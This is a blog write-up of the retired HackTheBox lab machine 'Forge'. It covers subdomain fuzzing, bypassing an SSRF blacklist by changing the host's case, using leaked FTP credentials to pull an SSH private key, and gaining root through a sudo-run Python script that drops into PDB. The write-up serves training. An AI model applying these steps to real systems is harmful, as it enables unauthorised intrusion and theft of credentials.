HTB: Forge

Posted on 21 Jan 2022 in security • 3 min read

Forge Card

This is a writeup about a retired HacktheBox machine: Forge publish on September 11, 2021 by NoobHacker9999. This box is rated as a medium machine but could be qualified as an easy medium :). It implies a SSRF and an LFI as well as some Python and a PDB.



Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

# Nmap 7.91 scan initiated Friday Sep 17 04:59:56 2021 as: nmap -sSV -p- -oN -A
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65532 closed ports
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))


The website is a gallery that allow to upload an image either from the filesystem or from an URL.

We use wfuzz in addition to the subdomain secList to discover that the domain admin.forge.htb exist.

└─$ wfuzz -c -w subdomains-top1million-5000.txt --sc 200 -H "HOST:FUZZ.forge.htb" http://forge.htb
/usr/lib/python3/dist-packages/wfuzz/ UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://forge.htb/
Total requests: 4989

ID           Response   Lines    Word       Chars       Payload

000000024:   200        1 L      4 W        27 Ch       "admin - admin"

We cannot access the admin interface as some IP filtering is in place. We try to includ the page by uploading it as an image using the URL but it failes with an error message: "URL contains a blacklisted address!"

We try the same inclusiion by using upper case on the "FORGE" domain and got the page http://admin.FORGE.htb

<title>Admin Portal</title>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
    <center><h1>Welcome Admins!</h1></center>

We look at the announcements page:

<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>

We try to load the FTP page using the disclosed credentials http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/ We got two files user.txt and snap.

We take a look at the .ssh/id_rsa file (worst case scenario it does not exist) using http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/.ssh/id_rsa and got the RSA private key. We can now connect as user using SSH and grab the user flag.

└─$ ssh user@forge.htb -i id_rsa
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
user@forge:~$ cat user.txt


We look at our privileges (sudo -l) and we see that we can run /usr/bin/python3 /opt/ as root without password. Looking at the script it is a remote manager script that will land us a PDB if it got a unrecognized input. So we launch the script, connect to it using another SSH terminal and nc, then we just input a "q" that will not be recognize and get a PDB in our first shell allowing us to load the os module and execute system commands as root using os.system([COMMAND]).

user@forge:~$ sudo /usr/bin/python3 /opt/
Listening on localhost:59816
invalid literal for int() with base 10: b'q'
> /opt/<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) --KeyboardInterrupt--
(Pdb) import os
(Pdb) os.system('id')
uid=0(root) gid=0(root) groups=0(root)

We just grab the root SSH private key and connect on the box as root allowing us to get the flag.

(Pdb) os.system('ls /root/.ssh')
authorized_keys  id_rsa
(Pdb) os.system('cat /root/.ssh/id_rsa')

└─$ ssh forge.htb -l root -i id_rsa_root
root@forge:~# id
uid=0(root) gid=0(root) groups=0(root)
root@forge:~# cat root.txt

Wrapping up

This box was really easy for a medium one. The root part really easy. I triggered it by mistake as "q" for quit is an old habit. Once you get the subdomain the user part just requires to follow the dots. A great medium box for beginners.